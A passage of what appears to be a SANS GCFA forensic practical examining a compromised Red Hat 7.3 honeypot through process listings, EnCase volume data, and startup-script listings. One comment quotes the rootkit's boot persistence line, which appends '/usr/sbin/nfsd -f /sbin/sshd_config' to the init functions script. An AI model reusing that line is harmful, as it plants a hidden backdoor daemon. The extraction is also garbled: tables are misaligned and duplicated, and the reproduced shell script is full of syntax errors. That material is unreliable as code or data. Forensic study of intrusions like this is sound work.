<tr>
<td>1176</td>
<td>S</td>
<td>kdeinit: dcopserver --nosid</td>
</tr>
<tr>
<td>1181</td>
<td>S</td>
<td>kdeinit: klauncher</td>
</tr>
<tr>
<td>1183</td>
<td>S</td>
<td>kdeinit: kded</td>
</tr>
<tr>
<td>1192</td>
<td>S</td>
<td>/usr/bin/artsd -F 10 -S 4096 -s 60 -m artsmessage -l</td>
</tr>
</tbody>
</table>
```
Kevin Miller - Sans GCFA Assignment – v1.4
Page 201

```
1203  7  S  0:02  kdeinit: knotify
1208  7  S  0:00  kwrapper ksmservice --restore
1210  7  S  0:00  kdeinit: ksmservice --restore
1211  7  S  0:09  kdeinit: kwin --session 1
1217  7  S  0:18  kdeinit: kicker
1219  7  S  0:35  autorun -l --interval=1000 --cdplayer=/usr/bin/kscd
1223  7  S  0:51  kdeinit: klipper --icon kclipper --minicon klipper
1226  7  S  0:00  kdeinit: kwrite
1228  7  S  0:00  korgac --minicon korganizer
1230  7  S  0:00  kalarmd --login
1232  7  S  5:04  kdeinit: konsole --icon konsole --minicon konsole
1234  7  S  0:00 /bin/bash
1266  pts/1  S  0:00  su
1269  pts/1  S  0:00  -bash
6133  7  S  0:00  kdeinit: kcookiejar
6135  7  S  0:00  kdesud
7188  7  S  0:12  kdeinit: konsole --icon konsole --minicon konsole
7187  S  0:00  /bin/bash
7206 pts/2  S  0:00  su
7206 pts/2  S  0:00  -bash
8125  7  S  0:01  /usr/sbin/httpd
8154  7  S  0:00  /usr/sbin/snmpd
19810  7  S  0:00  cp
19811  7  S  0:00  cp
19812  7  S  0:00  cp
19814  7  S  0:00  chmod
19815  7  S  0:00  cp
19816  7  S  0:00  cp
19817  7  S  0:00  cp
19818  7  S  0:00  cp
19819  7  S  0:00  cp
19820  7  S  0:00  cp
19821  7  S  0:00  cp
19822  7  S  0:00  cp
19823  7  S  0:00  cp
19824  7  S  0:00  cp
19825  7  S  0:00  cp
19826  7  S  0:00  cp
19827  7  S  0:00  cp
19828  7  S  0:00  cp
19829  7  S  0:00  cp
19830  7  S  0:00  cp
19831  7  S  0:00  cp
19832  7  S  0:00  cp
19833  7  S  0:00  cp
19834  7  S  0:00  cp
19835  7  S  0:00  cp
19836  7  S  0:00  inetservices
```
<table>
<thead>
<tr>
<th>PID</th>
<th>Status</th>
<th>User</th>
<th>Time</th>
<th>Command</th>
</tr>
</thead>
<tbody>
<tr>
<td>19941</td>
<td>S</td>
<td>0:00</td>
<td>inetd/services</td>
<td></td>
</tr>
<tr>
<td>19948</td>
<td>R</td>
<td>0:00</td>
<td>ps ax</td>
<td></td>
</tr>
</tbody>
</table>

readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ exit
Appendix F

EnCase – Final Report - Linux 7.3 System.

EnCase Computer Analysis Report

Investigating Agency

Investigating Agency:  
Sans GCFA Cert  
Investigating Officer:  
Kevin Miller  
12 Main  
Here, Over There

Investigation Details

The evidence was delivered to Kevin Miller on June 30, 2003.  

<table>
<thead>
<tr>
<th>Items received</th>
<th>Quantity</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr>
<td>Desktop computers</td>
<td>1</td>
<td>Compaq Deskpro P400</td>
</tr>
</tbody>
</table>

Special Circumstances

System from HoneyNet run from June 27 to June 30, 2003.
Linux 7.3 Honey pot system

Device
Evidence Number: Linux 7.3 Honey pot system
File Path: C:\Sans\evidence files\Linux 7.3 Honey pot system.E01
Examiner Name: Kevin Miller
Actual Date: 07/16/03 11:03:19AM
Target Date: 07/16/03 11:03:19AM
Total Size: 6,448,619,520 bytes (6.0GB)
Total Sectors: 12,594,960
File Integrity: Completely Verified, 0 Errors
Write Blocker: FastBloc
EnCase Version: 4.14
System Version: Windows XP
Acquisition Hash: 579720D58A61D971083F10695B8249CB
Verify Hash: 579720D58A61D971083F10695B8249CB

Partitions

<table>
<thead>
<tr>
<th>Code</th>
<th>Type</th>
<th>Start Sector</th>
<th>Total Sectors</th>
<th>Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>83</td>
<td>Linux EXT2</td>
<td>0</td>
<td>105,840</td>
<td>51.7MB</td>
</tr>
<tr>
<td>83</td>
<td>Linux EXT2</td>
<td>105,840</td>
<td>7,817,040</td>
<td>3.7GB</td>
</tr>
<tr>
<td>83</td>
<td>Linux EXT2</td>
<td>7,922,880</td>
<td>2,842,560</td>
<td>1.4GB</td>
</tr>
<tr>
<td>83</td>
<td>Linux EXT2</td>
<td>10,765,440</td>
<td>786,240</td>
<td>383.9MB</td>
</tr>
<tr>
<td>83</td>
<td>Linux EXT2</td>
<td>11,551,680</td>
<td>529,200</td>
<td>258.4MB</td>
</tr>
<tr>
<td>82</td>
<td>Linux Swap</td>
<td>12,080,880</td>
<td>514,080</td>
<td>251.0MB</td>
</tr>
</tbody>
</table>

OS Background

OS Version /etc/issue

Red Hat Linux release 7.3 (Valhalla)

File system layout from fstab.

LABEL=/  
LABEL=/boot  
LABEL=/home  
LABEL=/usr  
LABEL=/var  
/dev/hda7  
/dev/cdrom  
/dev/fd0

| LABEL=/ | /       | ext3 | defaults | 1 1 |
| LABEL=/boot | /boot | ext3 | defaults | 1 2 |
| none | /dev/pts | devpts | gid=5,mode=620 | 0 0 |
| none | /home | ext3 | defaults | 1 2 |
| none | /proc | proc | defaults | 0 0 |
| none | /dev/shm | tmpfs | defaults | 0 0 |
| none | /dev/shm | ext3 | defaults | 1 2 |
| LABEL=/var | /var | ext3 | defaults | 1 2 |
| /dev/hda7 | swap | swap | defaults | 0 0 |
| /dev/cdrom | /mnt/cdrom | iso9660 | noauto,owner,kudzu,ro 0 0 |
| /dev/fd0 | /mnt/floppy | auto | noauto,owner,kudzu 0 0 |
EnCase Computer Analysis Report

Volume /boot

<table>
<thead>
<tr>
<th>Volume</th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>File System:</td>
<td>EXT3</td>
<td></td>
</tr>
<tr>
<td>Sectors per cluster:</td>
<td>2</td>
<td>105,777</td>
</tr>
<tr>
<td>Total Sectors:</td>
<td></td>
<td></td>
</tr>
<tr>
<td>54,157,312 bytes (51.7MB)</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Total Clusters:</td>
<td>52,888</td>
<td></td>
</tr>
<tr>
<td>43,376,640 bytes (41.4MB)</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Free Clusters:</td>
<td>42,360</td>
<td></td>
</tr>
<tr>
<td>bytes (10.3MB)</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Volume Name:</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Volume Offset:</td>
<td>63</td>
<td></td>
</tr>
</tbody>
</table>

The following are bookmarks from Volume /boot
Volume /usr

Volume
File System: EXT3  Drive Type: Fixed
Sectors per cluster: 8  Bytes per sector: 512
Total Sectors: 7,817,040  Total Capacity:
  4,002,324,480 bytes (3.7GB)
Total Clusters: 977,130  Unallocated:
  2,523,922,432 bytes (2.4GB)
Free Clusters: 616,192  Allocated: 1,478,402,048 bytes (1.4GB)
Volume Name:  Volume Offset: 105,840

The following are bookmarks from Volume /usr
weit file in /usr/bin

modified files

Modified Files

Volume /home

<table>
<thead>
<tr>
<th>Volume</th>
<th>File System:</th>
<th>EXT3</th>
</tr>
</thead>
<tbody>
<tr>
<td>Sectors per cluster:</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Total Sectors:</td>
<td>8</td>
<td></td>
</tr>
<tr>
<td>Total Clusters:</td>
<td>2,842,560</td>
<td></td>
</tr>
<tr>
<td>Free Clusters:</td>
<td>355,320</td>
<td></td>
</tr>
<tr>
<td>bytes</td>
<td>1,455,390,720 bytes (1.4GB)</td>
<td></td>
</tr>
<tr>
<td>1,397,174,272 bytes (1.3GB)</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Volume Name:</td>
<td>341,107</td>
<td></td>
</tr>
<tr>
<td>7,922,880</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Total Capacity:</td>
<td>Volume Offset:</td>
<td></td>
</tr>
</tbody>
</table>

The following are bookmarks from Volume /home
Volume /

**Volume**

File System: EXT3  
Sectors per cluster: 2  
Total Sectors: 786,177  
Total Clusters: 393,088  
Free Clusters: 309,555  
Volume Name:  
Total Sectors: 402,522,112 bytes (383.9MB)  
Total Clusters: 316,984,320 bytes (302.3MB)  
Free Clusters: 309,555 bytes (81.6MB)  
Volume Offset: 10,765,503

The following are bookmarks from Volume /

**startup files**

Startup Files

6) Name  
   Description  
   Full Path  
   Entry Modified  
   Last Accessed  
   Last Written  
   Hash Value  
   Physical Size  
   Logical Size  
   Short Name

Comment: The config file used for booting.

```
# inittab  This file describes how the INIT process should set up
# the system in a certain run-level.
#
# Author: Miquel van Smoorenburg, <miquels@drinkel.nl.mugnet.org>
# Modified for RHS Linux by Marc Ewing and Donnie Barnes
#
# Default runlevel. The runlevels used by RHS are:
# 0 - halt (Do NOT set initdefault to this)
# 1 - Single user mode
# 2 - Multiuser, without NFS (The same as 3, if you do not have networking)
# 3 - Full multiuser mode
# 4 - unused
# 5 - X11
# 6 - reboot (Do NOT set initdefault to this)
#
# System initialization.
```

© SANS Institute 2004,  
As part of GIAC practical repository.  
Author retains full rights.
EnCase Computer Analysis Report

Sans GCFA Cert Assignment

EnCase Computer Analysis Report

Page 209

si::sysinit:/etc/rc.d/rc.sysinit

l0:0:wait:/etc/rc.d/rc 0
l1:1:wait:/etc/rc.d/rc 1
l2:2:wait:/etc/rc.d/rc 2
l3:3:wait:/etc/rc.d/rc 3
l4:4:wait:/etc/rc.d/rc 4
l5:5:wait:/etc/rc.d/rc 5
l6:6:wait:/etc/rc.d/rc 6

# Things to run in every runlevel.
ud::once:/sbin/update

# Trap CTRL-ALT-DELETE
ca::ctrlaltdel:/sbin/shutdown -t3 -r now

# When our UPS tells us power has failed, assume we have a few minutes
# of power left. Schedule a shutdown for 2 minutes from now.
# This does, of course, assume you have powerd installed and your
# UPS connected and working correctly.
pf::powerfail:/sbin/shutdown -f -h +2 "Power Failure; System Shutting Down"

# If power was restored before the shutdown kicked in, cancel it.
pr:12345:powerokwait:/sbin/shutdown -c "Power Restored; Shutdown Cancelled"

# Run gettys in standard runlevels
1:2345:respawn:/sbin/mingetty tty1
2:2345:respawn:/sbin/mingetty tty2
3:2345:respawn:/sbin/mingetty tty3
4:2345:respawn:/sbin/mingetty tty4
5:2345:respawn:/sbin/mingetty tty5
6:2345:respawn:/sbin/mingetty tty6

# Run xdm in runlevel 5
# xdm is now a separate service
x:5:respawn:/etc/X11/prefdm -nodemon

These scripts are used by inittab for booting

7) Name keytable
   Description File
   Full Path Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/etc/rc.d/init.d/keytable
   Entry Modified 06/19/03 11:35:03AM
   Last Accessed 06/27/03 02:09:10PM
   Last Written 04/15/02 08:05:50AM
   Hash Value cd93e8654c65ca1dd8e6d099c06d2f6f
   Physical Size 2,048
   Logical Size 1,273
   Short Name

8) Name atd
   Description File
   Full Path Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/etc/rc.d/init.d/atd
   Entry Modified 06/19/03 11:34:38AM
   Last Accessed 06/27/03 02:09:10PM
   Last Written 01/17/02 11:34:41AM
   Hash Value 524d785c2e2f156b8deb1d24004c681e
   Physical Size 2,048
   Logical Size 1,176
<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>kdcrotate</td>
<td>File</td>
<td>Sans GCFA Cert Assignment:Linux 7.3 Honey pot system:/etc/rc.d/init.d/kdcrotate</td>
<td>06/19/03 11:36:46AM</td>
<td>06/27/03 02:09:10PM</td>
<td>03/01/02 08:43:05AM</td>
<td>52c90cfd7106168e12784574f66a9c87</td>
<td>2,048</td>
<td>1,084</td>
</tr>
<tr>
<td>gpm</td>
<td>File</td>
<td>Sans GCFA Cert Assignment:Linux 7.3 Honey pot system:/etc/rc.d/init.d/gpm</td>
<td>06/19/03 11:36:39AM</td>
<td>06/27/03 02:09:10PM</td>
<td>04/09/02 11:43:30AM</td>
<td>57c68b9be4338b491c5dc2aeaca24520</td>
<td>2,048</td>
<td>1,541</td>
</tr>
<tr>
<td>sendmail</td>
<td>File</td>
<td>Sans GCFA Cert Assignment:Linux 7.3 Honey pot system:/etc/rc.d/init.d/sendmail</td>
<td>06/19/03 11:36:55AM</td>
<td>06/27/03 02:09:10PM</td>
<td>04/08/02 04:55:40AM</td>
<td>daa93b121f2b893d0579075e671d5723</td>
<td>2,048</td>
<td>1,830</td>
</tr>
<tr>
<td>kudzu</td>
<td>File</td>
<td>Sans GCFA Cert Assignment:Linux 7.3 Honey pot system:/etc/rc.d/init.d/kudzu</td>
<td>06/19/03 11:36:50AM</td>
<td>06/27/03 02:09:10PM</td>
<td>04/17/02 04:11:44PM</td>
<td>e8e31d1982dd547f059ce530e8541d6d</td>
<td>2,048</td>
<td>1,919</td>
</tr>
<tr>
<td>halt</td>
<td>File</td>
<td>Sans GCFA Cert Assignment:Linux 7.3 Honey pot system:/etc/rc.d/init.d/halt</td>
<td>06/19/03 11:37:15AM</td>
<td>06/27/03 02:09:10PM</td>
<td>03/27/02 05:21:19PM</td>
<td>2381f1589d17b4795823dda2e891b0b3</td>
<td>6,144</td>
<td>5,153</td>
</tr>
<tr>
<td>netfs</td>
<td>File</td>
<td>Sans GCFA Cert Assignment:Linux 7.3 Honey pot system:/etc/rc.d/init.d/netfs</td>
<td>06/19/03 11:37:15AM</td>
<td>06/27/03 02:09:10PM</td>
<td>03/27/02 05:21:19PM</td>
<td>2381f1589d17b4795823dda2e891b0b3</td>
<td>6,144</td>
<td>5,153</td>
</tr>
</tbody>
</table>
EnCase Computer Analysis Report

Sans GCFA Cert Assignment: EnCase Computer Analysis Report

Entry Modified 06/19/03 11:37:15AM
Last Accessed 06/27/03 02:09:10PM
Last Written 03/13/02 01:28:10AM
Hash Value 832173d444399f8da24f764d211ab161
Physical Size 5,120
Logical Size 5,104

15) Name random
Description File
Full Path Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/ etc/rc.d/init.d/random
Entry Modified 06/19/03 11:37:15AM
Last Accessed 06/27/03 02:09:10PM
Last Written 03/12/01 11:18:08AM
Hash Value 27ea15de8132eef5987c204e05d19299
Physical Size 2,048
Logical Size 1,544

16) Name single
Description File
Full Path Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/ etc/rc.d/init.d/single
Entry Modified 06/19/03 11:37:15AM
Last Accessed 06/27/03 02:09:10PM
Last Written 02/27/01 04:49:42PM
Hash Value 641a8cc64affbd56403795f87e24c2da
Physical Size 2,048
Logical Size 1,329

17) Name ipchains
Description File
Full Path Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/ etc/rc.d/init.d/ipchains
Entry Modified 06/19/03 11:37:18AM
Last Accessed 06/27/03 02:09:10PM
Last Written 02/22/02 12:41:45AM
Hash Value 61b0710c6cd96661045b4296b77229686
Physical Size 4,096
Logical Size 3,313

18) Name ipchains
Description File
Full Path Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/ etc/rc.d/init.d/ipchains
Entry Modified 06/19/03 11:37:18AM
Last Accessed 06/27/03 02:09:10PM
Last Written 02/22/02 12:41:45AM
Hash Value 61b0710c6cd96661045b4296b77229686
Physical Size 4,096
Logical Size 3,313

19) Name anacron
Description File
Full Path Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/ etc/rc.d/init.d/anacron
Entry Modified 06/19/03 11:38:11AM
Last Accessed 06/27/03 02:09:10PM
Last Written 06/24/01 08:25:30PM
Hash Value 5479af54908ef2f8b169c17bee5acb54
<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>lpd</td>
<td></td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\rc.d\init.d\lpd</td>
<td>06/19/03 11:39:08AM</td>
<td>06/27/03 02:09:10PM</td>
<td>04/02/02 10:57:07AM</td>
<td>37ba1d18ff0ff75142055f1b63d6cc9e</td>
<td>1,024</td>
<td>934</td>
</tr>
<tr>
<td>portmap</td>
<td></td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\rc.d\init.d\portmap</td>
<td>06/19/03 11:40:22AM</td>
<td>06/27/03 02:09:10PM</td>
<td>02/27/02 01:41:37PM</td>
<td>97d91ee25e86a592c5bebbaeac49f16</td>
<td>2,048</td>
<td>2,033</td>
</tr>
<tr>
<td>xinetd</td>
<td></td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\rc.d\init.d\xinetd</td>
<td>06/19/03 11:46:32AM</td>
<td>06/27/03 02:13:01PM</td>
<td>04/04/02 04:30:50PM</td>
<td>4296e734117325537d5750b8ed88d7e7</td>
<td>3,072</td>
<td>2,313</td>
</tr>
<tr>
<td>autos</td>
<td></td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\rc.d\init.d\autos</td>
<td>06/20/03 02:13:13AM</td>
<td>06/27/03 02:09:10PM</td>
<td>04/02/02 10:22:41AM</td>
<td>81744fd73f54923367f42c374b64ab</td>
<td>10,240</td>
<td>9,435</td>
</tr>
<tr>
<td>nfslock</td>
<td></td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\rc.d\init.d\nfslock</td>
<td>06/20/03 02:14:00AM</td>
<td>06/27/03 02:09:10PM</td>
<td>04/09/02 09:14:14AM</td>
<td>a3d40799d7f19b211652a6239b93625</td>
<td>3,072</td>
<td>2,286</td>
</tr>
<tr>
<td>identd</td>
<td></td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\rc.d\init.d\identd</td>
<td>06/20/03 02:14:00AM</td>
<td>06/27/03 02:09:10PM</td>
<td>04/09/02 09:14:14AM</td>
<td>a3d40799d7f19b211652a6239b93625</td>
<td>3,072</td>
<td>2,286</td>
</tr>
<tr>
<td>Entry Modified</td>
<td>Last Accessed</td>
<td>Last Written</td>
<td>Hash Value</td>
<td>Physical Size</td>
<td>Logical Size</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>----------------</td>
<td>---------------</td>
<td>--------------</td>
<td>-------------------------------------</td>
<td>---------------</td>
<td>--------------</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>06/20/03 02:14:16AM</td>
<td>06/27/03 02:09:10PM</td>
<td>02/27/02 01:12:55PM</td>
<td>55b38ea6accecc5f7f9f8b99c3e9bd0</td>
<td>2,048</td>
<td>1,681</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>06/20/03 02:14:36AM</td>
<td>06/27/03 02:12:26PM</td>
<td>04/17/02 07:07:02AM</td>
<td>b9b3761374734822a49f4bb3e648867</td>
<td>2,048</td>
<td>1,160</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>06/20/03 02:14:45AM</td>
<td>06/27/03 02:09:10PM</td>
<td>03/25/02 03:44:14PM</td>
<td>b1482b84a650f1e4864538d7596fabe0</td>
<td>3,072</td>
<td>2,501</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>06/29/03 03:22:04PM</td>
<td>06/27/03 02:09:11PM</td>
<td>04/04/02 09:27:45PM</td>
<td>a84199973476d1ab0a4a42e6a617e853</td>
<td>3,072</td>
<td>2,647</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>06/20/03 02:17:15AM</td>
<td>06/27/03 02:09:11PM</td>
<td>04/16/02 10:09:56AM</td>
<td>7933a2a52eed4e1dfaf3e491e59ab10c</td>
<td>2,048</td>
<td>1,638</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>06/20/03 02:17:15AM</td>
<td>06/27/03 02:09:11PM</td>
<td>04/16/02 10:09:56AM</td>
<td>7933a2a52eed4e1dfaf3e491e59ab10c</td>
<td>2,048</td>
<td>1,638</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

26) Name: snmpd
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\rc.d\init.d\snmpd
Entry Modified: 06/20/03 02:14:36AM
Last Accessed: 06/27/03 02:12:26PM
Last Written: 04/17/02 07:07:02AM
Hash Value: b9b3761374734822a49f4bb3e648867
Physical Size: 2,048
Logical Size: 1,160

27) Name: yppbind
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\rc.d\init.d\yppbind
Entry Modified: 06/20/03 02:14:45AM
Last Accessed: 06/27/03 02:09:10PM
Last Written: 03/25/02 03:44:14PM
Hash Value: b1482b84a650f1e4864538d7596fabe0
Physical Size: 3,072
Logical Size: 2,501

28) Name: sshd
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\rc.d\init.d\sshd
Entry Modified: 06/29/03 03:22:04PM
Last Accessed: 06/27/03 02:09:11PM
Last Written: 04/04/02 09:27:45PM
Hash Value: a84199973476d1ab0a4a42e6a617e853
Physical Size: 3,072
Logical Size: 2,647

29) Name: yppasswdd
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\rc.d\init.d\yppasswdd
Entry Modified: 06/20/03 02:17:15AM
Last Accessed: 06/27/03 02:09:11PM
Last Written: 04/16/02 10:09:56AM
Hash Value: 7933a2a52eed4e1dfaf3e491e59ab10c
Physical Size: 2,048
Logical Size: 1,638

30) Name: ypxfrd
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\rc.d\init.d\ypxfrd
Entry Modified: 06/20/03 02:17:15AM
Last Accessed: 06/27/03 02:09:11PM
Comment: The S95atd is the script that boots the (compromised) syslog script.

Startup files modified by root kit

Compromised startup files
Comment: The functions startup script has "/usr/sbin/nfsd -f /sbin/sshd_config" appended to it. This is done by the install script found in the /tmp/ directory.

#!/bin/bash
#
# functions This file contains functions to be used by most or all
# shell scripts in the /etc/init.d directory.
#
# Version: 0(9) /etc/init.d/functions 1.01 26-Oct-1993
# Author: Miquel van Smoreenburg, <miquels@drinkel.nl.mugnet.org>
# Hacked by: Greg Galloway and Marc Ewing
#
# i18n originally by: Arnaldo Carvalho de Melo <acme@conectiva.com.br>,
# Wanderlei Antonio Cavassin
TEXTDOMAIN=initscripts
TEXTDOMAINDIR=/etc/locale

# Make sure umask is sane
umask 022

# First set up a default search path.
export PATH="/sbin:/usr/sbin:/bin:/usr/bin:/usr/X11R6/bin"

# Get a sane screen width
if [ -z "$(COLUMNS=:)" ] && COLUMNS=80
if [ -f /etc/sysconfig/i18n -a -z "$NOLOCALE:" ]; then
  . /etc/sysconfig/i18n
if [ "$LANG=" = "ja_JP.eucJP" -a "$(/sbin/consoletype)" != "pty" ]
  unset LANG
elif [ "$LANG=" = "ko_KR.eucKR" -a "$(/sbin/consoletype)" != "pty" ];
  unset LANG
elif [ "$LANG=" = "zh_CN.GB2312" -a "$(/sbin/consoletype)" != "pty" ];
  unset LANG
else
  export LANG
fi
fi

# Read in our configuration
if [ -z "$BOOTUP:" ];
    if [ -f /etc/sysconfig/init ]; then
        . /etc/sysconfig/init
    else
        # This all seem confusing? Look in /etc/sysconfig/init,
        # or in /usr/doc/initscripts-*/sysconfig.txt
        BOOTUP=normal
        RES_COL=60
        MOVE_TO_COL="echo -en \033[1;32m\033[3m"
        SETCOLOR_SUCCESS="echo -en \033[32m"
        SETCOLOR_FAILURE="echo -en \033[31m"
        SETCOLOR_WARNING="echo -en \033[33m"
        TEXTDOMAIN="normal"
        TEXTDOMAINDIR="/etc/locale"
SETCOLOR_NORMAL="echo -en \\
033[0;39m"
LOGLEVEL=1
fi
if [-x /sbin/consoletype ]; then
  if [ "$consoletype" = "serial" ]; then
    BOOTUP=serial
    MOVE_TO_COL=
    SETCOLOR_SUCCESS=
    SETCOLOR_FAILURE=
    SETCOLOR_WARNING=
    SETCOLOR_NORMAL=
    fi
  fi
fi
if [ "${BOOTUP:-}" != "verbose" ]; then
  INITLOG_ARGS="-q"
else
  INITLOG_ARGS=
fi
# Check if $pid (could be plural) are running
checkpid() {
  while [ "$1" ]; do
    [-d /proc/$1 ] && return 0
    shift
  done
  return 1
}
# A function to start a program.
daemon() {
  # Test syntax.
  local gotbase= force=
  local base= user= nice= bg= pid
  nicelevel=0
  while [ "$1" != "$1" ]; do
    case $1 in
      "") echo "$0: Usage: daemon [+-nicelevel] {program}"
        return 1;;
      --check)
        base=$2
        gotbase="yes"
        shift 2
        ;;
      --check=??)
        base=${1##--check=}
        gotbase="yes"
        shift
        ;;
      --user)
        user=$2
        shift 2
        ;;
      --user=??)
        user=${1##--user=}
        shift
        ;;
      --force)
        force="force"
        shift
        ;;
      [+:0-9]*
        nice="nice -n $1"
        shift
        ;;
      *) echo "$0: Usage: daemon [+-nicelevel] {program}"
        return 1;;
  esac
}
esac
done

# Save basename.
[ -z "$gotbase" ] && base=${1##*/}

# See if it's already running. Look 'only' at the pid file.
pid=`pidfileofproc $base`

[ -n "$pid" -a "${force:+}" ] && return

# make sure it doesn't core dump anywhere; while this could mask
# problems with the daemon, it also closes some security problems
ulimit -S -c 0 >/dev/null 2>&1

# Echo daemon
[ "${BOOTUP:+}" = "verbose" -a "$LSB" ] && echo -n "$base"

# And start it up.
if [ -z "$user" ]; then
  $nice initlog $INITLOG_ARGS -c "$*"
else
  $nice initlog $INITLOG_ARGS -c "su -s /bin/bash -c "$user -c \\
  "$*""
fi

[ "$?" -eq 0 ] && success "$base startup" || failure "$base startup"

# A function to stop a program.
killproc() {
  RC=0
  # Test syntax.
  if [ "$#" -eq 0 ]; then
    echo "$Usage: killproc {program} [signal]"
    return 1
  fi

  notset=0
  # check for second arg to be kill level
  if [ "$2" != "" ] ; then
    killlevel="$2"
  else
    killlevel="-9"
  fi

  # Save basename.
  base=${1##*/}

  # Find pid.
  pid=`pidofproc $1`
  if [ -z "$pid" ] ; then
    pid=`pidofproc $base`
  fi

  # Kill it.
  if [ -n "$pid" ] ; then
    [ "$BOOTUP" = "verbose" -a "$LSB" ] && echo -n "$base"
    if [ "$notset" -eq "1" ] ; then
      if checkpid $pid 2>&1; then
        # TERM first, then KILL if not dead
        kill -TERM $pid
        usleep 100000
        if checkpid $pid 2>&1; then
          kill -KILL $pid
          usleep 100000
        fi
      fi
    fi
  fi
checkpid $pid
RC=$?
[ "$RC" = -eq 0 ] && failure "$base shutdown" || success "$base shutdown"
RC=$(( ! $RC ))
# use specified level only
else
    if checkpid $pid >/dev/null 2>&1; then
        kill $killlevel $pid
        RC=$?
        [ "$RC" = -eq 0 ] && success "$base $killlevel" || failure "$base $killlevel"
        fi
    fi
else
    failure "$base shutdown"
    RC=1
fi

# Remove pid file if any.
if [ "$notset" = "1" ]; then
    rm -f /var/run/$base.pid
fi
return $RC

# A function to find the pid of a program. Looks only at the pidfile
pidfileofproc() {
    local base=${1##*/}
    local pid

    # Test syntax.
    if [ "$#" = 0 ] ; then
        echo "$Usage: pidfileofproc {program}"
        return 1
    fi

    # First try "/var/run/*.pid" files
    if [ -f /var/run/$base.pid ]; then
        local line p pid=
        read line < /var/run/$base.pid
        for p in $line ; do
            [ -z "${p//\[0-9]/}" -a -d /proc/$p ] && pid="${pid}$p"
        done
        if [ -n "${pid:-}" ]; then
            echo $pid
            return 0
        fi
    fi
}

# A function to find the pid of a program.
pidofproc() {
    base=${1##*/}

    # Test syntax.
    if [ "$#" = 0 ] ; then
        echo "$Usage: pidofproc {program}"
        return 1
    fi

    # First try "/var/run/*.pid" files
    if [ -f /var/run/$base.pid ]; then
        local line p pid=
        read line < /var/run/$base.pid
        for p in $line ; do
            [ -z "${p//\[0-9]/}" -a -d /proc/$p ] && pid="${pid}$p"
        done
        if [ -n "${pid:-}" ]; then
            echo $pid
            return 0
        fi
    fi
}

EnCase Computer Analysis Report
Sans GCFA Cert Assignment/EnCase Computer Analysis Report
Page 218
fi

# Next try "pidof"
pidof -o $$ -o $PPID -o %PPID -x $1 || \
    pidof -o $$ -o $PPID -o %PPID -x $2(base)
}

status() {
    local base=${1##*/}
    local pid

    # Test syntax.
    if [ "$#" = 0 ] ; then
        echo "$Usage: status [program]"
        return 1
    fi

    # First try "pidof"
    pid=`pidof -o $$ -o $PPID -o %PPID -x $1 || \
    pidof -o $$ -o $PPID -o %PPID -x $2(base)`
    if [ "$pid" != "" ] ; then
        echo "$2(base) (pid $pid) is running..."
        return 0
    fi

    # Next try "/var/run/*.pid" files
    if [ ! -F /var/run/$2(base).pid ] ; then
        read pid < /var/run/$2(base).pid
        if [ "$pid" != "" ] ; then
            echo "$2(base) dead but pid file exists"
            return 1
        fi
    fi

    # See if /var/lock/subsys/$2(base) exists
    if [ ! -f /var/lock/subsys/$2(base) ] ; then
        echo "$2(base) dead but subsys locked"
        return 2
    fi

    echo "$2(base) is stopped"
    return 3
}

echo_success() {
[ "$BOOTUP" = "color" ] && $MOVE_TO_COL
    echo -n "[
[ "$BOOTUP" = "color" ] && $SETCOLOR_SUCCESS
    echo -n "$OK"
    echo -n "$SETCOLOR_NORMAL"
    echo -n " ]"
    echo -ne "\r"
    return 0
}

echo_failure() {
[ "$BOOTUP" = "color" ] && $MOVE_TO_COL
    echo -n "[
[ "$BOOTUP" = "color" ] && $SETCOLOR_FAILURE
    echo -n "$FAILED"
    echo -n "$SETCOLOR_NORMAL"
    echo -n " ]"
    echo -ne "\r"
    return 1
}

echo_passed() {
[ "$BOOTUP" = "color" ] && $MOVE_TO_COL
    echo -n "[
